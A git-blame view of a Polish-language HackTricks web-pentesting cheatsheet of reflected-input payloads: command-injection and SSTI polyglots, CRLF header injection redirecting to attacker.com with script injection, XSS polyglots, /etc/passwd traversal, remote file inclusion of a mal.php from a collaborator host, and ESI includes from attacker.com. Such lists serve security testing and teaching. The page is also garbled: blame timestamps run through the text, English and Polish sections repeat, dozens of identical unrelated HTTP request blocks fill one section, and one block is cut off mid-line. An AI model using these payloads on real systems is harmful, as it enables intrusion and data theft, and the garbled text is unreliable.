hacktricks/pentesting-web/pocs-and-polygloths-cheatsheet/README.md

835 lines
35 KiB
Markdown
Raw Normal View History

2024-02-11 01:46:25 +00:00
# Techniki odbijające - PoCs i Polygloths CheatSheet
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-01 17:15:10 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 01:46:25 +00:00
Celem tych PoC i Polygloths jest zapewnienie testerowi szybkiego **podsumowania** podatności, które może wykorzystać, jeśli jego **wejście jest w jakiś sposób odbijane w odpowiedzi**.
2021-06-26 12:03:36 +00:00
2021-06-26 12:11:00 +00:00
{% hint style="warning" %}
2024-02-11 01:46:25 +00:00
Ten **cheatsheet nie proponuje wyczerpującej listy testów dla każdej podatności**, tylko kilka podstawowych. Jeśli szukasz bardziej kompleksowych testów, przejdź do proponowanej podatności.
2021-06-26 12:11:00 +00:00
{% endhint %}
2021-06-26 12:03:36 +00:00
2021-06-26 12:11:00 +00:00
{% hint style="danger" %}
2024-02-11 01:46:25 +00:00
Nie **znajdziesz tutaj wstrzykiwań zależnych od typu zawartości, takich jak XXE**, ponieważ zazwyczaj sam spróbujesz ich, jeśli znajdziesz żądanie wysyłające dane XML. Nie **znajdziesz tutaj również wstrzykiwań do bazy danych**, ponieważ nawet jeśli niektóre treści mogą być odbijane, to zależy to głównie od technologii i struktury backendu bazy danych.
2021-06-26 12:11:00 +00:00
{% endhint %}
2021-06-26 12:03:36 +00:00
2024-02-11 01:46:25 +00:00
## Lista Polygloths
2021-06-26 10:02:37 +00:00
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
2021-06-26 12:03:36 +00:00
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
2021-06-26 10:02:37 +00:00
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
2024-02-11 01:46:25 +00:00
## [Wstrzykiwanie szablonów po stronie klienta](../client-side-template-injection-csti.md)
2021-06-25 19:22:16 +00:00
2024-02-11 01:46:25 +00:00
### Podstawowe testy
```
2021-06-25 16:39:43 +00:00
{{7*7}}
2021-06-25 16:50:01 +00:00
[7*7]
2021-06-25 16:39:43 +00:00
```
2024-02-11 01:46:25 +00:00
### Poligloty
A polyglot is a file that can be interpreted as different file types depending on the context in which it is executed. In the context of web hacking, polyglots can be used to bypass security measures and execute malicious code.
Polyglots are typically created by taking advantage of the similarities between file formats. By carefully crafting a file that adheres to the specifications of multiple file formats, it is possible to create a polyglot that can be interpreted differently by different applications.
Polyglots can be used in various ways during a penetration test. They can be used to bypass file upload filters, evade detection by security scanners, or even execute arbitrary code on a target system.
It is important to note that the creation and use of polyglots should be done responsibly and within the boundaries of the law. Using polyglots for malicious purposes is illegal and unethical.
### Poligloty
2021-06-25 16:39:43 +00:00
2024-02-11 01:46:25 +00:00
Poliglot to plik, który może być interpretowany jako różne typy plików w zależności od kontekstu, w którym jest uruchamiany. W kontekście hakowania stron internetowych, poligloty mogą być używane do omijania środków bezpieczeństwa i wykonywania złośliwego kodu.
2021-06-25 16:50:01 +00:00
2024-02-11 01:46:25 +00:00
Poligloty są zwykle tworzone poprzez wykorzystanie podobieństw między formatami plików. Poprzez staranne opracowanie pliku, który spełnia specyfikacje wielu formatów plików, można stworzyć poliglot, który może być interpretowany inaczej przez różne aplikacje.
Poligloty mogą być wykorzystywane na różne sposoby podczas testu penetracyjnego. Mogą być używane do omijania filtrów przesyłania plików, unikania wykrycia przez skanery bezpieczeństwa, a nawet do wykonywania dowolnego kodu na docelowym systemie.
Ważne jest zauważenie, że tworzenie i używanie poliglotów powinno odbywać się odpowiedzialnie i w granicach prawa. Używanie poliglotów w celach złośliwych jest nielegalne i nieetyczne.
2021-06-25 17:01:56 +00:00
```bash
{{7*7}}[7*7]
```
2024-02-11 01:46:25 +00:00
## [Wstrzykiwanie poleceń](../command-injection.md)
2021-06-25 17:01:56 +00:00
2024-02-11 01:46:25 +00:00
### Podstawowe testy
2021-06-25 17:01:56 +00:00
```bash
2021-06-26 10:02:37 +00:00
;ls
||ls;
|ls;
&&ls;
&ls;
%0Als
2021-06-25 16:50:01 +00:00
`ls`
$(ls)
2021-06-25 17:01:56 +00:00
```
2024-02-11 01:46:25 +00:00
### Poligloty
A polyglot is a file that can be interpreted as multiple file types. In the context of hacking, polyglots can be used to bypass security measures and execute malicious code. They are particularly useful in scenarios where different file types are allowed or expected, such as file uploads on a web application.
Polyglots are created by carefully crafting a file that adheres to the specifications of multiple file formats. By doing so, the file can be interpreted differently depending on the context in which it is opened. This allows an attacker to exploit vulnerabilities in different file parsers or interpreters.
Polyglots can be used for various purposes, including:
2021-06-25 17:01:56 +00:00
2024-02-11 01:46:25 +00:00
- **File format bypass**: By disguising a malicious file as a legitimate file type, such as an image or a document, an attacker can bypass security measures that only check for specific file extensions.
2021-06-25 16:50:01 +00:00
2024-02-11 01:46:25 +00:00
- **Code execution**: By embedding malicious code within a polyglot, an attacker can exploit vulnerabilities in different file parsers or interpreters to execute arbitrary commands on a target system.
- **Data exfiltration**: Polyglots can also be used to exfiltrate sensitive data from a target system. By embedding the data within the polyglot, an attacker can extract it when the file is opened or processed.
Creating a polyglot requires a deep understanding of the specifications of the file formats involved, as well as the vulnerabilities in the parsers or interpreters. It is a complex and advanced technique that can be used to evade detection and carry out sophisticated attacks.
2021-06-25 17:01:56 +00:00
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
2021-06-25 16:50:01 +00:00
```
## [CRLF](../crlf-0d-0a.md)
2021-06-25 17:01:56 +00:00
2024-02-11 01:46:25 +00:00
### Podstawowe testy
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
2021-06-25 17:01:56 +00:00
2024-02-11 01:46:25 +00:00
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```http
GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp
2021-06-25 17:01:56 +00:00
```bash
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
2024-02-11 01:46:25 +00:00
## Wiszące znaczniki
2021-06-25 16:50:01 +00:00
2024-02-11 01:46:25 +00:00
### Podstawowe testy
2021-06-26 12:03:36 +00:00
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
2024-02-11 01:46:25 +00:00
## [Włączenie pliku/Przeszukiwanie ścieżki](../file-inclusion/)
2021-06-26 12:03:36 +00:00
2024-02-11 01:46:25 +00:00
### Podstawowe testy
2021-06-25 19:22:16 +00:00
```bash
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
2024-02-11 01:46:25 +00:00
## [Przekierowanie otwarte](../open-redirect.md) / [Podrabianie żądań po stronie serwera](../ssrf-server-side-request-forgery/)
2021-06-25 19:22:16 +00:00
2024-02-11 01:46:25 +00:00
### Podstawowe testy
2021-06-25 19:22:16 +00:00
```bash
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
```
## [ReDoS](../regular-expression-denial-of-service-redos.md)
2021-06-25 19:22:16 +00:00
2024-02-11 01:46:25 +00:00
### Podstawowe testy
2021-06-25 19:22:16 +00:00
```bash
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
```
2024-02-11 01:46:25 +00:00
## [Włączenie po stronie serwera/Włączenie po stronie krawędzi](../server-side-inclusion-edge-side-inclusion-injection.md)
2021-06-25 19:22:16 +00:00
2024-02-11 01:46:25 +00:00
### Podstawowe testy
2021-06-25 19:22:16 +00:00
```markup
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
2021-06-25 19:23:35 +00:00
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
2021-06-25 19:22:16 +00:00
```
2024-02-11 01:46:25 +00:00
### Poligloty
2021-06-25 19:22:16 +00:00
2024-02-11 01:46:25 +00:00
A polyglot is a file that can be interpreted as different file types depending on the context in which it is executed. In the context of web hacking, polyglots can be used to bypass security measures and execute malicious code.
2021-06-25 20:23:31 +00:00
2024-02-11 01:46:25 +00:00
Polyglots are typically created by taking advantage of the similarities between file formats. By carefully crafting a file that adheres to the specifications of multiple file formats, it is possible to create a polyglot that can be interpreted differently by different applications.
Polyglots can be used in various ways during a web hacking engagement. For example, a polyglot file can be uploaded to a web application that accepts multiple file types. If the application does not properly validate the file type, it may execute the file as a different type than intended, leading to potential security vulnerabilities.
Polyglots can also be used to hide malicious code within seemingly harmless files. By creating a file that is valid in multiple formats, an attacker can bypass security measures that only check for specific file types.
When working with polyglots, it is important to understand the specifications of the file formats involved and how different applications interpret them. This knowledge is crucial for crafting effective polyglots and exploiting vulnerabilities.
Overall, polyglots are a powerful tool in the arsenal of a web hacker. By leveraging the flexibility of file formats, polyglots can be used to bypass security measures and execute malicious code, making them an important technique to be aware of during web hacking engagements.
2021-06-25 20:23:31 +00:00
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
2024-02-11 01:46:25 +00:00
## [Podrabianie żądań po stronie serwera](../ssrf-server-side-request-forgery/)
2021-06-25 20:23:31 +00:00
2024-02-11 01:46:25 +00:00
Tutaj można użyć tych samych testów, które są używane do podrobienia przekierowań (Open Redirect).
2021-06-26 12:03:36 +00:00
2024-02-11 01:46:25 +00:00
## [Wstrzykiwanie szablonów po stronie serwera](../ssti-server-side-template-injection/)
2021-06-25 20:23:31 +00:00
2024-02-11 01:46:25 +00:00
### Podstawowe testy
2021-06-25 20:23:31 +00:00
```markup
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
```
2024-02-11 01:46:25 +00:00
### Poligloty
A polyglot is a file that can be interpreted as different file types depending on the context in which it is executed. In the context of web hacking, polyglots can be used to bypass security measures and execute malicious code.
2021-06-25 20:23:31 +00:00
2024-02-11 01:46:25 +00:00
Polyglots are typically created by taking advantage of the similarities between file formats. By carefully crafting a file that adheres to the specifications of multiple file formats, it is possible to create a polyglot that can be interpreted differently by different applications.
2021-06-25 20:23:31 +00:00
2024-02-11 01:46:25 +00:00
Polyglots can be used in various ways during a penetration test. They can be used to bypass file upload filters, evade detection by security scanners, or even execute arbitrary code on a target system.
It is important to note that the creation and use of polyglots should be done responsibly and within the boundaries of the law. Using polyglots for malicious purposes is illegal and unethical.
### Poligloty
Poliglot to plik, który może być interpretowany jako różne typy plików w zależności od kontekstu, w którym jest uruchamiany. W kontekście hakowania stron internetowych, poligloty mogą być używane do omijania środków bezpieczeństwa i wykonywania złośliwego kodu.
Poligloty są zwykle tworzone poprzez wykorzystanie podobieństw między formatami plików. Poprzez staranne opracowanie pliku, który spełnia specyfikacje wielu formatów plików, można stworzyć poliglot, który może być interpretowany inaczej przez różne aplikacje.
Poligloty mogą być wykorzystywane na różne sposoby podczas testu penetracyjnego. Mogą być używane do omijania filtrów przesyłania plików, unikania wykrycia przez skanery bezpieczeństwa, a nawet do wykonywania dowolnego kodu na docelowym systemie.
Ważne jest zauważenie, że tworzenie i używanie poliglotów powinno odbywać się odpowiedzialnie i w granicach prawa. Używanie poliglotów w celach złośliwych jest nielegalne i nieetyczne.
2021-06-25 20:23:31 +00:00
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
2024-02-11 01:46:25 +00:00
## [Wstrzyknięcie XSLT po stronie serwera](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
2021-06-25 20:23:31 +00:00
2024-02-11 01:46:25 +00:00
### Podstawowe testy
2021-06-25 20:23:31 +00:00
```markup
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
2024-02-11 01:46:25 +00:00
### Poligloty
2021-06-25 20:23:31 +00:00
2024-02-11 01:46:25 +00:00
A polyglot is a file that can be interpreted as multiple file types. In the context of hacking, polyglots can be used to bypass security measures and execute malicious code. They are particularly useful in scenarios where different file types are allowed in different contexts.
2021-06-25 20:23:31 +00:00
2024-02-11 01:46:25 +00:00
Polyglots are created by exploiting the similarities and overlapping syntax of different file formats. By carefully crafting a file, it is possible to create a polyglot that can be interpreted as multiple file types, such as HTML, JavaScript, or even image files.
